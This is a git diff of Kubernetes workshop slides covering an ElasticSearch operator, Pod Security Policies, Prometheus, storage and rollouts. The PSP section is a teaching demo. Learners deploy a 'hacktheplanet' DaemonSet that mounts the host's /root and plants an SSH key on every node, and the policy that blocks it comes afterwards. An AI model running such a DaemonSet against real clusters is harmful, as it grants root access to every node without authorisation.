ElasticSearch operator + +- This operator requires PersistentVolumes + +- We will install Rancher's [local path storage provisioner](https://github.com/rancher/local-path-provisioner) to automatically create these + +- Then, we will create an ElasticSearch resource + +- The operator will detect that resource and provision the cluster + +--- + +## Installing a Persistent Volume provisioner + +(This step can be skipped if you already have a dynamic volume provisioner.) + +- This provisioner creates Persistent Volumes backed by `hostPath` + + (local directories on our nodes) + +- It doesn't require anything special ... + +- ... But losing a node = losing the volumes on that node! + +.exercise[ + +- Install the local path storage provisioner: + ```bash + kubectl apply -f ~/container.training/k8s/local-path-storage.yaml + ``` + +] + +--- + +## Making sure we have a default StorageClass + +- The ElasticSearch operator will create StatefulSets + +- These StatefulSets will instantiate PersistentVolumeClaims + +- These PVCs need to be explicitly associated with a StorageClass + +- Or we need to tag a StorageClass to be used as the default one + +.exercise[ + +- List StorageClasses: + ```bash + kubectl get storageclasses + ``` + +] + +We should see the `local-path` StorageClass. + +--- + +## Setting a default StorageClass + +- This is done by adding an annotation to the StorageClass: + + `storageclass.kubernetes.io/is-default-class: true` + +.exercise[ + +- Tag the StorageClass so that it's the default one: + ```bash + kubectl annotate storageclass local-path \ + storageclass.kubernetes.io/is-default-class=true + ``` + +- Check the result: + ```bash + kubectl get storageclasses + ``` + +] + +Now, the StorageClass should have `(default)` next to its name. + +--- + +## Install the ElasticSearch operator + +- The operator needs: + + - a Deployment for its controller + - a ServiceAccount, ClusterRole, ClusterRoleBinding for permissions + - a Namespace + +- We have grouped all the definitions for these resources in a YAML file + +.exercise[ + +- Install the operator: + ```bash + kubectl apply -f ~/container.training/k8s/elasticsearch-operator.yaml + ``` + +] + +--- + +## Wait for the operator to be ready + +- Some operators require to create their CRDs separately + +- This operator will create its CRD itself + + (i.e. the CRD is not listed in the YAML that we applied earlier) + +.exercise[ + +- Wait until the `elasticsearchclusters` CRD shows up: + ```bash + kubectl get crds + ``` + +] + +--- + +## Create an ElasticSearch resource + +- We can now create a resource with `kind: ElasticsearchCluster` + +- The YAML for that resource will specify all the desired parameters: + + - how many nodes do we want of each type (client, master, data) + - image to use + - add-ons (kibana, cerebro, ...) + - whether to use TLS or not + - etc. + +.exercise[ + +- Create our ElasticSearch cluster: + ```bash + kubectl apply -f ~/container.training/k8s/elasticsearch-cluster.yaml + ``` + +] + +--- + +## Operator in action + +- Over the next minutes, the operator will create: + + - StatefulSets (one for master nodes, one for data nodes) + + - Deployments (for client nodes; and for add-ons like cerebro and kibana) + + - Services (for all these pods) + +.exercise[ + +- Wait for all the StatefulSets to be fully up and running: + ```bash + kubectl get statefulsets -w + ``` + +] + +--- + +## Connecting to our cluster + +- Since connecting directly to the ElasticSearch API is a bit raw, +
we'll connect to the cerebro frontend instead + +.exercise[ + +- Edit the cerebro service to change its type from ClusterIP to NodePort: + ```bash + kubectl patch svc cerebro-es -p "spec: { type: NodePort }" + ``` + +- Retrieve the NodePort that was allocated: + ```bash + kubectl get svc cerebreo-es + ``` + +- Connect to that port with a browser + +] + +--- + +## (Bonus) Setup filebeat + +- Let's send some data to our brand new ElasticSearch cluster! + +- We'll deploy a filebeat DaemonSet to collect node logs + +.exercise[ + +- Deploy filebeat: + ```bash + kubectl apply -f ~/container.training/k8s/filebeat.yaml + ``` + +] + +We should see at least one index being created in cerebro. + +--- + +## (Bonus) Access log data with kibana + +- Let's expose kibana (by making kibana-es a NodePort too) + +- Then access kibana + +- We'll need to configure kibana indexes + +--- + +## Deploying our apps with operators + +- It is very simple to deploy with `kubectl run` / `kubectl expose` + +- We can unlock more features by writing YAML and using `kubectl apply` + +- Kustomize or Helm let us deploy in multiple environments + + (and adjust/tweak parameters in each environment) + +- We can also use an operator to deploy our application + +--- + +## Pros and cons of deploying with operators + +- The app definition and configuration is persisted in the Kubernetes API + +- Multiple instances of the app can be manipulated with `kubectl get` + +- We can add labels, annotations to the app instances + +- Our controller can execute custom code for any lifecycle event + +- However, we need to write this controller + +- We need to be careful about changes + + (what happens when the resource `spec` is updated?) + +--- + +## Operators are not magic + +- Look at the ElasticSearch resource definition + + (`~/container.training/k8s/elasticsearch-cluster.yaml`) + +- What should happen if we flip the `use-tls` flag? Twice? + +- What should happen if we remove / re-add the kibana or cerebro sections? + +- What should happen if we change the number of nodes? + +- What if we want different images or parameters for the different nodes? + +*Operators can be very powerful, iff we know exactly the scenarios that they can handle.* diff --git a/slides/k8s/ourapponkube.md b/slides/k8s/ourapponkube.md index 8abf1f18..50eed1ea 100644 --- a/slides/k8s/ourapponkube.md +++ b/slides/k8s/ourapponkube.md @@ -11,6 +11,7 @@ - Deploy everything else: ```bash + set -u for SERVICE in hasher rng webui worker; do kubectl create deployment $SERVICE --image=$REGISTRY/$SERVICE:$TAG done diff --git a/slides/k8s/podsecuritypolicy.md b/slides/k8s/podsecuritypolicy.md new file mode 100644 index 00000000..97c721d1 --- /dev/null +++ b/slides/k8s/podsecuritypolicy.md @@ -0,0 +1,500 @@ +# Pod Security Policies + +- By default, our pods and containers can do *everything* + + (including taking over the entire cluster) + +- We are going to show an example of a malicious pod + +- Then we will explain how to avoid this with PodSecurityPolicies + +- We will enable PodSecurityPolicies on our cluster + +- We will create a couple of policies (restricted and permissive) + +- Finally we will see how to use them to improve security on our cluster + +--- + +## Setting up a namespace + +- For simplicity, let's work in a separate namespace + +- Let's create a new namespace called "green" + +.exercise[ + +- Create the "green" namespace: + ```bash + kubectl create namespace green + ``` + +- Change to that namespace: + ```bash + kns green + ``` + +] + +--- + +## Creating a basic Deployment + +- Just to check that everything works correctly, deploy NGINX + +.exercise[ + +- Create a Deployment using the official NGINX image: + ```bash + kubectl create deployment web --image=nginx + ``` + +- Confirm that the Deployment, ReplicaSet, and Pod exist, and that the Pod is running: + ```bash + kubectl get all + ``` + +] + +--- + +## One example of malicious pods + +- We will now show an escalation technique in action + +- We will deploy a DaemonSet that adds our SSH key to the root account + + (on *each* node of the cluster) + +- The Pods of the DaemonSet will do so by mounting `/root` from the host + +.exercise[ + +- Check the file `k8s/hacktheplanet.yaml` with a text editor: + ```bash + vim ~/container.training/k8s/hacktheplanet.yaml + ``` + +- If you would like, change the SSH key (by changing the GitHub user name) + +] + +--- + +## Deploying the malicious pods + +- Let's deploy our "exploit"! + +.exercise[ + +- Create the DaemonSet: + ```bash + kubectl create -f ~/container.training/k8s/hacktheplanet.yaml + ``` + +- Check that the pods are running: + ```bash + kubectl get pods + ``` + +- Confirm that the SSH key was added to the node's root account: + ```bash + sudo cat /root/.ssh/authorized_keys + ``` + +] + +--- + +## Cleaning up + +- Before setting up our PodSecurityPolicies, clean up that namespace + +.exercise[ + +- Remove the DaemonSet: + ```bash + kubectl delete daemonset hacktheplanet + ``` + +- Remove the Deployment: + ```bash + kubectl delete deployment web + ``` + +] + +--- + +## Pod Security Policies in theory + +- To use PSPs, we need to activate their specific *admission controller* + +- That admission controller will intercept each pod creation attempt + +- It will look at: + + - *who/what* is creating the pod + + - which PodSecurityPolicies they can use + + - which PodSecurityPolicies can be used by the Pod's ServiceAccount + +- Then it will compare the Pod with each PodSecurityPolicy one by one + +- If a PodSecurityPolicy accepts all the parameters of the Pod, it is created + +- Otherwise, the Pod creation is denied and it won't even show up in `kubectl get pods` + +--- + +## Pod Security Policies fine print + +- With RBAC, using a PSP corresponds to the verb `use` on the PSP + + (that makes sense, right?) + +- If no PSP is defined, no Pod can be created + + (even by cluster admins) + +- Pods that are already running are *not* affected + +- If we create a Pod directly, it can use a PSP to which *we* have access + +- If the Pod is created by e.g. a ReplicaSet or DaemonSet, it's different: + + - the ReplicaSet / DaemonSet controllers don't have access to *our* policies + + - therefore, we need to give access to the PSP to the Pod's ServiceAccount + +--- + +## Pod Security Policies in practice + +- We are going to enable the PodSecurityPolicy admission controller + +- At that point, we won't be able to create any more pods (!) + +- Then we will create a couple of PodSecurityPolicies + +- ...And associated ClusterRoles (giving `use` access to the policies) + +- Then we will create RoleBindings to grant these roles to ServiceAccounts + +- We will verify that we can't run our "exploit" anymore + +--- + +## Enabling Pod Security Policies + +- To enable Pod Security Policies, we need to enable their *admission plugin* + +- This is done by adding a flag to the API server + +- On clusters deployed with `kubeadm`, the control plane runs in static pods + +- These pods are defined in YAML files located in `/etc/kubernetes/manifests` + +- Kubelet watches this directory + +- Each time a file is added/removed there, kubelet creates/deletes the corresponding pod + +- Updating a file causes the pod to be deleted and recreated + +--- + +## Updating the API server flags + +- Let's edit the manifest for the API server pod + +.exercise[ + +- Have a look at the static pods: + ```bash + ls -l /etc/kubernetes/manifests + ``` + +- Edit the one corresponding to the API server: + ```bash + sudo vim /etc/kubernetes/manifests/kube-apiserver.yaml + ``` + +] + +--- + +## Adding the PSP admission plugin + +- There should already be a line with `--enable-admission-plugins=...` + +- Let's add `PodSecurityPolicy` on that line + +.exercise[ + +- Locate the line with `--enable-admission-plugins=` + +- Add `PodSecurityPolicy` + + It should read: `--enable-admission-plugins=NodeRestriction,PodSecurityPolicy` + +- Save, quit + +] + +--- + +## Waiting for the API server to restart + +- The kubelet detects that the file was modified + +- It kills the API server pod, and starts a new one + +- During that time, the API server is unavailable + +.exercise[ + +- Wait until the API server is available again + +] + +--- + +## Check that the admission plugin is active + +- Normally, we can't create any Pod at this point + +.exercise[ + +- Try to create a Pod directly: + ```bash + kubectl run testpsp1 --image=nginx --restart=Never + ``` + +- Try to create a Deployment: + ```bash + kubectl run testpsp2 --image=nginx + ``` + +- Look at existing resources: + ```bash + kubectl get all + ``` + +] + +We can get hints at what's happening by looking at the ReplicaSet and Events. + +--- + +## Introducing our Pod Security Policies + +- We will create two policies: + + - privileged (allows everything) + + - restricted (blocks some unsafe mechanisms) + +- For each policy, we also need an associated ClusterRole granting *use* + +--- + +## Creating our Pod Security Policies + +- We have a couple of files, each defining a PSP and associated ClusterRole: + + - k8s/psp-privileged.yaml: policy `privileged`, role `psp:privileged` + - k8s/psp-restricted.yaml: policy `restricted`, role `psp:restricted` + +.exercise[ + +- Create both policies and their associated ClusterRoles: + ```bash + kubectl create -f ~/container.training/k8s/psp-restricted.yaml + kubectl create -f ~/container.training/k8s/psp-privileged.yaml + ``` +] + +- The privileged policy comes from [the Kubernetes documentation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#example-policies) + +- The restricted policy is inspired by that same documentation page + +--- + +## Check that we can create Pods again + +- We haven't bound the policy to any user yet + +- But `cluster-admin` can implicitly `use` all policies + +.exercise[ + +- Check that we can now create a Pod directly: + ```bash + kubectl run testpsp3 --image=nginx --restart=Never + ``` + +- Create a Deployment as well: + ```bash + kubectl run testpsp4 --image=nginx + ``` + +- Confirm that the Deployment is *not* creating any Pods: + ```bash + kubectl get all + ``` + +] + +--- + +## What's going on? + +- We can create Pods directly (thanks to our root-like permissions) + +- The Pods corresponding to a Deployment are created by the ReplicaSet controller + +- The ReplicaSet controller does *not* have root-like permissions + +- We need to either: + + - grant permissions to the ReplicaSet controller + + *or* + + - grant permissions to our Pods' ServiceAccount + +- The first option would allow *anyone* to create pods + +- The second option will allow us to scope the permissions better + +--- + +## Binding the restricted policy + +- Let's bind the role `psp:restricted` to ServiceAccount `green:default` + + (aka the default ServiceAccount in the green Namespace) + +- This will allow Pod creation in the green Namespace + + (because these Pods will be using that ServiceAccount automatically) + +.exercise[ + +- Create the following RoleBinding: + ```bash + kubectl create rolebinding psp:restricted \ + --clusterrole=psp:restricted \ + --serviceaccount=green:default + ``` + +] + +--- + +## Trying it out + +- The Deployments that we created earlier will *eventually* recover + + (the ReplicaSet controller will retry to create Pods once in a while) + +- If we create a new Deployment now, it should work immediately + +.exercise[ + +- Create a simple Deployment: + ```bash + kubectl create deployment testpsp5 --image=nginx + ``` + +- Look at the Pods that have been created: + ```bash + kubectl get all + ``` + +] + +--- + +## Trying to hack the cluster + +- Let's create the same DaemonSet we used earlier + +.exercise[ + +- Create a hostile DaemonSet: + ```bash + kubectl create -f ~/container.training/k8s/hacktheplanet.yaml + ``` + +- Look at the state of the namespace: + ```bash + kubectl get all + ``` + +] + +--- + +class: extra-details + +## What's in our restricted policy? + +- The restricted PSP is similar to the one provided in the docs, but: + + - it allows containers to run as root + + - it doesn't drop capabilities + +- Many containers run as root by default, and would require additional tweaks + +- Many containers use e.g. `chown`, which requires a specific capability + + (that's the case for the NGINX official image, for instance) + +- We still block: hostPath, privileged containers, and much more! + +--- + +class: extra-details + +## The case of static pods + +- If we list the pods in the `kube-system` namespace, `kube-apiserver` is missing + +- However, the API server is obviously running + + (otherwise, `kubectl get pods --namespace=kube-system` wouldn't work) + +- The API server Pod is created directly by kubelet + + (without going through the PSP admission plugin) + +- Then, kubelet creates a "mirror pod" representing that Pod in etcd + +- That "mirror pod" creation goes through the PSP admission plugin + +- And it gets blocked! + +- This can be fixed by binding `psp:privileged` to group `system:nodes` + +--- + +## .warning[Before moving on...] + +- Our cluster is currently broken + + (we can't create pods in namespaces kube-system, default, ...) + +- We need to either: + + - disable the PSP admission plugin + + - allow use of PSP to relevant users and groups + +- For instance, we could: + + - bind `psp:restricted` to the group `system:authenticated` + + - bind `psp:privileged` to the ServiceAccount `kube-system:default` diff --git a/slides/k8s/prometheus.md b/slides/k8s/prometheus.md index b6777a6c..9032657c 100644 --- a/slides/k8s/prometheus.md +++ b/slides/k8s/prometheus.md @@ -12,7 +12,7 @@ - an *alert manager* to notify us according to metrics values or trends -- We are going to deploy it on our Kubernetes cluster and see how to query it +- We are going to use it to collect and query some metrics on our Kubernetes cluster --- @@ -20,7 +20,7 @@ - We don't endorse Prometheus more or less than any other system -- It's relatively well integrated within the Cloud Native ecosystem +- It's relatively well integrated within the cloud-native ecosystem - It can be self-hosted (this is useful for tutorials like this) @@ -145,7 +145,28 @@ scrape_configs: (it will even be gentler on the I/O subsystem since it needs to write less) -[Storage in Prometheus 2.0](https://www.youtube.com/watch?v=C4YV-9CrawA) by [Goutham V](https://twitter.com/putadent) at DC17EU +- Would you like to know more? Check this video: + + [Storage in Prometheus 2.0](https://www.youtube.com/watch?v=C4YV-9CrawA) by [Goutham V](https://twitter.com/putadent) at DC17EU + +--- + +## Checking if Prometheus is installed + +- Before trying to install Prometheus, let's check if it's already there + +.exercise[ + +- Look for services with a label `app=prometheus` across all namespaces: + ```bash + kubectl get services --selector=app=prometheus --all-namespaces + ``` + +] + +If we see a `NodePort` service called `prometheus-server`, we're good! + +(We can then skip to "Connecting to the Prometheus web UI".) --- @@ -161,7 +182,7 @@ We need to: - Run the *node exporter* on each node (with a Daemon Set) -- Setup a Service Account so that Prometheus can query the Kubernetes API +- Set up a Service Account so that Prometheus can query the Kubernetes API - Configure the Prometheus server @@ -169,11 +190,11 @@ We need to: --- -## Helm Charts to the rescue +## Helm charts to the rescue -- To make our lives easier, we are going to use a Helm Chart +- To make our lives easier, we are going to use a Helm chart -- The Helm Chart will take care of all the steps explained above +- The Helm chart will take care of all the steps explained above (including some extra features that we don't need, but won't hurt) @@ -210,20 +231,41 @@ We need to: - Install Prometheus on our cluster: ```bash - helm install stable/prometheus \ - --set server.service.type=NodePort \ - --set server.persistentVolume.enabled=false + helm upgrade prometheus stable/prometheus \ + --install \ + --namespace kube-system \ + --set server.service.type=NodePort \ + --set server.service.nodePort=30090 \ + --set server.persistentVolume.enabled=false \ + --set alertmanager.enabled=false ``` ] -The provided flags: +Curious about all these flags? They're explained in the next slide. -- expose the server web UI (and API) on a NodePort +--- -- use an ephemeral volume for metrics storage -
- (instead of requesting a Persistent Volume through a Persistent Volume Claim) +class: extra-details + +## Explaining all the Helm flags + +- `helm upgrade prometheus` → upgrade release "prometheus" to the latest version... + + (a "release" is a unique name given to an app deployed with Helm) + +- `stable/prometheus` → ... of the chart `prometheus` in repo `stable` + +- `--install` → if the app doesn't exist, create it + +- `--namespace kube-system` → put it in that specific namespace + +- And set the following *values* when rendering the chart's templates: + + - `server.service.type=NodePort` → expose the Prometheus server with a NodePort + - `server.service.nodePort=30090` → set the specific NodePort number to use + - `server.persistentVolume.enabled=false` → do not use a PersistentVolumeClaim + - `alertmanager.enabled=false` → disable the alert manager entirely --- @@ -235,7 +277,7 @@ The provided flags: - Figure out the NodePort that was allocated to the Prometheus server: ```bash - kubectl get svc | grep prometheus-server + kubectl get svc --all-namespaces | grep prometheus-server ``` - With your browser, connect to that port @@ -246,7 +288,7 @@ The provided flags: ## Querying some metrics -- This is easy ... if you are familiar with PromQL +- This is easy... if you are familiar with PromQL .exercise[ @@ -292,13 +334,13 @@ This query will show us CPU usage across all containers: container_cpu_usage_seconds_total ``` -- The suffix of the metrics name tells us: +- The suffix of the metrics name tells us: - the unit (seconds of CPU) - that it's the total used since the container creation -- Since it's a "total", it is an increasing quantity +- Since it's a "total," it is an increasing quantity (we need to compute the derivative if we want e.g. CPU % over time) @@ -391,9 +433,9 @@ class: extra-details - I/O activity (disk, network), per operation or volume -- Physical/hardware (when applicable): temperature, fan speed ... +- Physical/hardware (when applicable): temperature, fan speed... -- ... and much more! +- ...and much more! --- @@ -406,7 +448,7 @@ class: extra-details - RAM breakdown will be different - active vs inactive memory - - some memory is *shared* between containers, and accounted specially + - some memory is *shared* between containers, and specially accounted for - I/O activity is also harder to track @@ -425,11 +467,11 @@ class: extra-details - Arbitrary metrics related to your application and business -- System performance: request latency, error rate ... +- System performance: request latency, error rate... -- Volume information: number of rows in database, message queue size ... +- Volume information: number of rows in database, message queue size... -- Business data: inventory, items sold, revenue ... +- Business data: inventory, items sold, revenue... --- @@ -453,7 +495,7 @@ class: extra-details ## Querying labels -- What if we want to get metrics for containers belong to pod tagged `worker`? +- What if we want to get metrics for containers belonging to a pod tagged `worker`? - The cAdvisor exporter does not give us Kubernetes labels @@ -486,3 +528,21 @@ class: extra-details - see [this comment](https://github.com/prometheus/prometheus/issues/2204#issuecomment-261515520) for an overview - or [this blog post](https://5pi.de/2017/11/09/use-prometheus-vector-matching-to-get-kubernetes-utilization-across-any-pod-label/) for a complete description of the process + +--- + +## In practice + +- Grafana is a beautiful (and useful) frontend to display all kinds of graphs + +- Not everyone needs to know Prometheus, PromQL, Grafana, etc. + +- But in a team, it is valuable to have at least one person who know them + +- That person can set up queries and dashboards for the rest of the team + +- It's a little bit like knowing how to optimize SQL queries, Dockerfiles... + + Don't panic if you don't know these tools! + + ...But make sure at least one person in your team is on it 💯 diff --git a/slides/k8s/resource-limits.md b/slides/k8s/resource-limits.md index e641fe78..9fba5c91 100644 --- a/slides/k8s/resource-limits.md +++ b/slides/k8s/resource-limits.md @@ -86,17 +86,17 @@ Each pod is assigned a QoS class (visible in `status.qosClass`). - as long as the container uses less than the limit, it won't be affected - - if all containers in a pod have *(limits=requests)*, QoS is "Guaranteed" + - if all containers in a pod have *(limits=requests)*, QoS is considered "Guaranteed" - If requests < limits: - as long as the container uses less than the request, it won't be affected - - otherwise, it might be killed / evicted if the node gets overloaded + - otherwise, it might be killed/evicted if the node gets overloaded - - if at least one container has *(requests<limits)*, QoS is "Burstable" + - if at least one container has *(requests<limits)*, QoS is considered "Burstable" -- If a pod doesn't have any request nor limit, QoS is "BestEffort" +- If a pod doesn't have any request nor limit, QoS is considered "BestEffort" --- @@ -392,7 +392,7 @@ These quotas will apply to the namespace where the ResourceQuota is created. count/roles.rbac.authorization.k8s.io: 10 ``` -(The `count/` syntax allows to limit arbitrary objects, including CRDs.) +(The `count/` syntax allows limiting arbitrary objects, including CRDs.) --- @@ -400,7 +400,7 @@ These quotas will apply to the namespace where the ResourceQuota is created. - Quotas can be created with a YAML definition -- ... Or with the `kubectl create quota` command +- ...Or with the `kubectl create quota` command - Example: ```bash diff --git a/slides/k8s/rollout.md b/slides/k8s/rollout.md index b01111b4..958ad5e2 100644 --- a/slides/k8s/rollout.md +++ b/slides/k8s/rollout.md @@ -5,9 +5,9 @@ - new pods are created - old pods are terminated - + - ... all at the same time - + - if something goes wrong, ¯\\\_(ツ)\_/¯ --- @@ -28,7 +28,7 @@ - there will therefore be up to `maxUnavailable`+`maxSurge` pods being updated -- We have the possibility to rollback to the previous version +- We have the possibility of rolling back to the previous version
(if the update fails or is unsatisfactory in any way) --- @@ -49,7 +49,6 @@ --- - ## Rolling updates in practice - As of Kubernetes 1.8, we can do rolling updates with: @@ -64,12 +63,15 @@ ## Building a new version of the `worker` service +.warning[ +Only run these commands if you have built and pushed DockerCoins to a local registry. +
+If you are using images from the Docker Hub (`dockercoins/worker:v0.1`), skip this. +] + .exercise[ -- Go to the `stack` directory: - ```bash - cd ~/container.training/stacks - ``` +- Go to the `stacks` directory (`~/container.training/stacks`) - Edit `dockercoins/worker/worker.py`; update the first `sleep` line to sleep 1 second @@ -210,7 +212,7 @@ class: extra-details ## Checking the dashboard during the bad rollout -If you haven't deployed the Kubernetes dashboard earlier, just skip this slide. +If you didn't deploy the Kubernetes dashboard earlier, just skip this slide. .exercise[ @@ -253,7 +255,7 @@ Note the `3xxxx` port. ``` --> -- Cancel the deployment and wait for the dust to settle down: +- Cancel the deployment and wait for the dust to settle: ```bash kubectl rollout undo deploy worker kubectl rollout status deploy worker diff --git a/slides/k8s/setup-k8s.md b/slides/k8s/setup-k8s.md index 3800e78e..6b704ef0 100644 --- a/slides/k8s/setup-k8s.md +++ b/slides/k8s/setup-k8s.md @@ -90,4 +90,4 @@ - For a longer list, check the Kubernetes documentation:
- it has a great guide to [pick the right solution](https://kubernetes.io/docs/setup/pick-right-solution/) to set up Kubernetes. + it has a great guide to [pick the right solution](https://kubernetes.io/docs/setup/#production-environment) to set up Kubernetes. diff --git a/slides/k8s/setup-managed.md b/slides/k8s/setup-managed.md index ccc1b084..919bd2da 100644 --- a/slides/k8s/setup-managed.md +++ b/slides/k8s/setup-managed.md @@ -20,7 +20,7 @@ with a cloud provider ## EKS (the hard way) -- [Read the doc](https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html) +- [Read the doc](https://docs.aws.amazon.com/eks/latest/userguide/getting-started-console.html) - Create service roles, VPCs, and a bunch of other oddities @@ -69,6 +69,8 @@ with a cloud provider eksctl get clusters ``` +.footnote[Note: the AWS documentation has been updated and now includes [eksctl instructions](https://docs.aws.amazon.com/eks/latest/userguide/getting-started-eksctl.html).] + --- ## GKE (initial setup) diff --git a/slides/k8s/statefulsets.md b/slides/k8s/statefulsets.md index 3dc45286..9692eef0 100644 --- a/slides/k8s/statefulsets.md +++ b/slides/k8s/statefulsets.md @@ -34,13 +34,13 @@ - Each pod can discover the IP address of the others easily -- The pods can have persistent volumes attached to them +- The pods can persist data on attached volumes 🤔 Wait a minute ... Can't we already attach volumes to pods and deployments? --- -## Volumes and Persistent Volumes +## Revisiting volumes - [Volumes](https://kubernetes.io/docs/concepts/storage/volumes/) are used for many purposes: @@ -50,13 +50,13 @@ - accessing storage systems -- The last type of volumes is known as a "Persistent Volume" +- Let's see examples of the latter usage --- -## Persistent Volumes types +## Volumes types -- There are many [types of Persistent Volumes](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#types-of-persistent-volumes) available: +- There are many [types of volumes](https://kubernetes.io/docs/concepts/storage/volumes/#types-of-volumes) available: - public cloud storage (GCEPersistentDisk, AWSElasticBlockStore, AzureDisk...) @@ -74,7 +74,7 @@ --- -## Using a Persistent Volume +## Using a cloud volume Here is a pod definition using an AWS EBS volume (that has to be created first): @@ -99,7 +99,32 @@ spec: --- -## Shortcomings of Persistent Volumes +## Using an NFS volume + +Here is another example using a volume on an NFS server: + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: pod-using-my-nfs-volume +spec: + containers: + - image: ... + name: container-using-my-nfs-volume + volumeMounts: + - mountPath: /my-nfs + name: my-nfs-volume + volumes: + - name: my-nfs-volume + nfs: + server: 192.168.0.55 + path: "/exports/assets" +``` + +--- + +## Shortcomings of volumes - Their lifecycle (creation, deletion...) is managed outside of the Kubernetes API @@ -125,17 +150,47 @@ spec: - This type is a *Persistent Volume Claim* +- A Persistent Volume Claim (PVC) is a resource type + + (visible with `kubectl get persistentvolumeclaims` or `kubectl get pvc`) + +- A PVC is not a volume; it is a *request for a volume* + +--- + +## Persistent Volume Claims in practice + - Using a Persistent Volume Claim is a two-step process: - creating the claim - using the claim in a pod (as if it were any other kind of volume) -- Between these two steps, something will happen behind the scenes: +- A PVC starts by being Unbound (without an associated volume) - - Kubernetes will associate an existing volume with the claim +- Once it is associated with a Persistent Volume, it becomes Bound - - ... or dynamically create a volume if possible and necessary +- A Pod referring an unbound PVC will not start + + (but as soon as the PVC is bound, the Pod can start) + +--- + +## Binding PV and PVC + +- A Kubernetes controller continuously watches PV and PVC objects + +- When it notices an unbound PVC, it tries to find a satisfactory PV + + ("satisfactory" in terms of size and other characteristics; see next slide) + +- If no PV fits the PVC, a PV can be created dynamically + + (this requires to configure a *dynamic provisioner*, more on that later) + +- Otherwise, the PVC remains unbound indefinitely + + (until we manually create a PV or setup dynamic provisioning) --- @@ -147,7 +202,9 @@ spec: - the access mode (e.g. "read-write by a single pod") -- It can also give extra details, like: +- Optionally, it can also specify a Storage Class + +- The Storage Class indicates: - which storage system to use (e.g. Portworx, EBS...) @@ -155,8 +212,6 @@ spec: e.g.: "replicate the data 3 times, and use SSD media" -- The extra details are provided by specifying a Storage Class - --- ## What's a Storage Class? @@ -167,15 +222,15 @@ spec: - It indicates which *provisioner* to use + (which controller will create the actual volume) + - And arbitrary parameters for that provisioner (replication levels, type of disk ... anything relevant!) -- It is necessary to define a Storage Class to use [dynamic provisioning](https://kubernetes.io/docs/concepts/storage/dynamic-provisioning/) +- Storage Classes are required if we want to use [dynamic provisioning](https://kubernetes.io/docs/concepts/storage/dynamic-provisioning/) -- Conversely, it is not necessary to define one if you will create volumes manually - - (we will see dynamic provisioning in action later) + (but we can also create volumes manually, and ignore Storage Classes) --- @@ -200,7 +255,7 @@ spec: ## Using a Persistent Volume Claim -Here is the same definition as earlier, but using a PVC: +Here is a Pod definition like the ones shown earlier, but using a PVC: ```yaml apiVersion: v1 @@ -212,7 +267,7 @@ spec: - image: ... name: container-using-a-claim volumeMounts: - - mountPath: /my-ebs + - mountPath: /my-vol name: my-volume volumes: - name: my-volume diff --git a/slides/k8s/staticpods.md b/slides/k8s/staticpods.md index e979cc2b..31ad23ea 100644 --- a/slides/k8s/staticpods.md +++ b/slides/k8s/staticpods.md @@ -18,7 +18,7 @@ ## A possible approach -- Since each component of the control plane can be replicated ... +- Since each component of the control plane can be replicated... - We could set up the control plane outside of the cluster @@ -39,9 +39,9 @@ - Worst case scenario, we might need to: - set up a new control plane (outside of the cluster) - + - restore a backup from the old control plane - + - move the new control plane to the cluster (again) - This doesn't sound like a great experience @@ -57,12 +57,12 @@ - The kubelet can also get a list of *static pods* from: - a directory containing one (or multiple) *manifests*, and/or - + - a URL (serving a *manifest*) - These "manifests" are basically YAML definitions - (As produced by `kubectl get pod my-little-pod -o yaml --export`) + (As produced by `kubectl get pod my-little-pod -o yaml`) --- @@ -100,11 +100,11 @@ ## Static pods vs normal pods -- The API only gives us a read-only access to static pods +- The API only gives us read-only access to static pods -- We can `kubectl delete` a static pod ... +- We can `kubectl delete` a static pod... - ... But the kubelet will restart it immediately + ...But the kubelet will re-mirror it immediately - Static pods can be selected just like other pods diff --git a/slides/k8s/versions-k8s.md b/slides/k8s/versions-k8s.md index e093d20a..b12c45af 100644 --- a/slides/k8s/versions-k8s.md +++ b/slides/k8s/versions-k8s.md @@ -1,7 +1,7 @@ ## Versions installed -- Kubernetes 1.14.1 -- Docker Engine 18.09.5 +- Kubernetes 1.15.0 +- Docker Engine 18.09.6 - Docker Compose 1.21.1 @@ -23,13 +23,13 @@ class: extra-details ## Kubernetes and Docker compatibility -- Kubernetes 1.14 validates Docker Engine versions [up to 18.09](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.14.md#external-dependencies) +- Kubernetes 1.15 validates Docker Engine versions [up to 18.09](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.15.md#dependencies)
(the latest version when Kubernetes 1.14 was released) - Kubernetes 1.13 only validates Docker Engine versions [up to 18.06](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.13.md#external-dependencies) -- Is this a problem if I use Kubernetes with a "too recent" Docker Engine? +- Is it a problem if I use Kubernetes with a "too recent" Docker Engine? -- diff --git a/slides/k8s/volumes.md b/slides/k8s/volumes.md index 2773d185..58b6849a 100644 --- a/slides/k8s/volumes.md +++ b/slides/k8s/volumes.md @@ -18,6 +18,8 @@ --- +class: extra-details + ## Kubernetes volumes vs. Docker volumes - Kubernetes and Docker volumes are very similar @@ -26,22 +28,44 @@
but it refers to Docker 1.7, which was released in 2015!) -- Docker volumes allow to share data between containers running on the same host +- Docker volumes allow us to share data between containers running on the same host - Kubernetes volumes allow us to share data between containers in the same pod -- Both Docker and Kubernetes volumes allow us access to storage systems +- Both Docker and Kubernetes volumes enable access to storage systems - Kubernetes volumes are also used to expose configuration and secrets - Docker has specific concepts for configuration and secrets - +
